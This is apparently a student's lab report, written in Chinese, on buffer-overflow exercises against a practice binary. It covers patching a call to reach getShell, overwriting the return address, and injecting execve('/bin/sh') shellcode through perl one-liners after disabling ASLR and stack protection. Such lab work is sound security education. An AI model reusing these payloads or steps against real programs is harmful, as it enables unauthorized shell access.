1.实验内容
在本周的学习过程中,我了解到了许多缓冲区溢出攻击的实际案例、缓冲区溢出攻击的原理和相关基础知识,包括GDB调试器的使用方法、反汇编、基础的汇编语言与指令等,重新温习了函数调用过程和进程管理方面的知识内容。并且通过实验一,我能够了解并熟练完成Linux系统实验相关的基本操作,对shellcode技术有了初步的理解和认识。
2.实验过程
本次实验的对象是一个名为pwn20222413的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。
三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
第一步:通过共享文件夹将目标文件上传至Linux系统的虚拟机,反汇编查看文件的函数功能。
找到本次实验所用的三个代码片段foo、main和getshell。
文件中main函数"call 8048491"含义为调用8048491处的foo函数,其机器指令为e8 d7 ff ff ff,若修改d7ffffff为,"getShell-80484ba"对应的补码,即可调用getshell。经计算补码为c3ffffff。
第二步:修改文件内容,使main调用getshell
①输入vi pwn20222413进入pwn20222413文件。
②输入:%!xxd进入16进制模式,随后输入/e8 d7找到机器指令对应位置。
③按i编辑,将d7改为c3。
④输入:%!xxd -r转换为原格式后输入:wq保存并退出。
⑤再次反汇编查看文件是否正确更改
第三步:运行文件后得到shell提示符,操作成功
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
第一步:反汇编,foo函数具有Buffer overflow漏洞,读取字符超过缓冲区的部分会覆盖返回地址
第二步:确认输入字符串后哪些部分会覆盖返回地址
第一次输入1111111122222222333333334444444455555555
第二次输入1111111122222222333333334444444412345678
经检查发现首次输入eip部分全部被覆盖为5,第二次输入时eip部分被覆盖为1234,对比可以找到覆盖返回地址的输入位置,将对应位置改为getshell的内存地址0804847d即可修改返回地址,运行getshell。
第三步:确认字节序
对比第二步第二次输入eip 0x34333231 0x34333231,正确输入为11111111222222223333333344444444\x7d\x84\x04\x08。
第四步:构造输入字符串,使用16进制查看指令xxd查看input文件的内容是否如预期。将input的输入,通过管道符“|”,作为pwn1的输入。
输入ls后得到正确的文件夹内容,成功调用getshell,实验成功。
(3)注入一个自己制作的shellcode并运行这段shellcode。
第一步:修改pwn20222413的设置,设置堆栈可执行和关闭地址随机化。
第二步:构造注入的攻击buf并将其注入目标文件:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。
第三步:打开另一个终端
①找到pwn20222413的进程号为:95182。
②启动gdb调试该进程。
③通过设置断点,来查看注入buf的内存地址。
④在另一个终端中按下回车后,在gbd中输入c,随后输入info r esp。
⑤找到01020304对应的地址0xffffcffc,即为返回地址。shellcode为紧挨着的下一个地址0xffffd000。
第四步:根据shellcode的地址更改shellcode并注入。
perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell
输入ls得到正确返回内容,实验成功。
3.问题及解决方案
- 问题1:在修改机器指令部分中,我根据实验指导直接输入/e8d7发现找不到目标位置。
- 问题1解决方案:在文档中e8和d7中间有一个空格,所以在搜索时在e8和d7中间加入一个空格即可找到对应位置。
- 问题2:在注入shellcode部分中,我发现我的虚拟机中没有相关的execstack指令,更新资源库后在虚拟机中下载对应指令出现报错Unable to locate package execstack。
- 问题2解决方案:在网络中下载execstack工具包后通过共享文件夹导入虚拟机,在虚拟机中安装。
4.学习感悟、思考等
在之前的学习当中,我接触了许多缓冲区溢出攻击的原理知识和相关案例,但是这次实验是我第一次尝试进行缓冲区溢出攻击。在实验的过程中,我根据实验指导一步步推进实验内容,同时在网络中搜索相关指令的含义,结合实验指导和运行结果进行理解和学习。通过实验,我熟悉了Linux系统的基本操作,学会了实验相关的gdb、vi操作,对于汇编、机器指令、EIP、指令地址有了进一步的理解。同时我也体会到了自主学习的重要性,在课堂之外,仍有广阔的知识天地。这次实验提高了我的自学意识和学习能力,大大激发了我对网络攻防技术的学习兴趣和学习热情,希望能够在未来的学习中了解掌握更多的网络攻防知识。